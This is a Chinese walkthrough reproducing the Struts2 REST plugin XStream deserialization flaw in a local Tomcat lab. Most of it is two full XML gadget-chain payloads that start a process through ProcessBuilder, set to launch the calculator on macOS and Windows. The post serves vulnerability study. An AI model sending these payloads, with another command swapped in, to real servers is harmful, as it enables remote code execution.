从struts2的官网下载最后受影响的版本struts-2.5.12,地址:

http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

注意下载struts-2.5.12-apps即可,不需要下载struts-2.5.12-all.zip。不然struts-2.5.12-all.zip中包含很多其他的东西,可以看到lib目录下有很多jar包。

 

拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下,我的是

 

/Library/Tomcat-8.5.15/webapps然后设置一下conf/server.xml文件即可。

这里把appBase设置为webapps目录,然后unpackWARs设置为true,这样就会自动解包xxx.war,autoDeploy也设置为true(热部署?)

然后就可以浏览器访问了。

直接输入

http://127.0.0.1:8080/struts2-rest-showcase/

会跳转,然后出现下面的页面,点击其中一个编辑,

 

然后将请求发送到burp,点击"Edit"按钮,然后拦截请求

更改写入http头:Content-Type: application/xml

写入poc

成功弹出计算器

 

 

然后可以看到页面一堆报错的

漏洞检测POC:

Windows 下测试:calc
MAC下测试:/Applications/Calculator.app/Contents/MacOS/Calculator

MAC:

  1. <map>
  2. <entry>
  3. <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  4. </entry>
  5. </map>

 

Windows:

  1. <map>
  2. <entry>
  3. <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  4. </entry>
  5. </map>

Poc生成工具:下载地址:https://github.com/mbechler/marshalsec 需要maven编译

复现分析doc附件下载:https://www.secfree.com/upload/file/20170906/1504671385416535.docx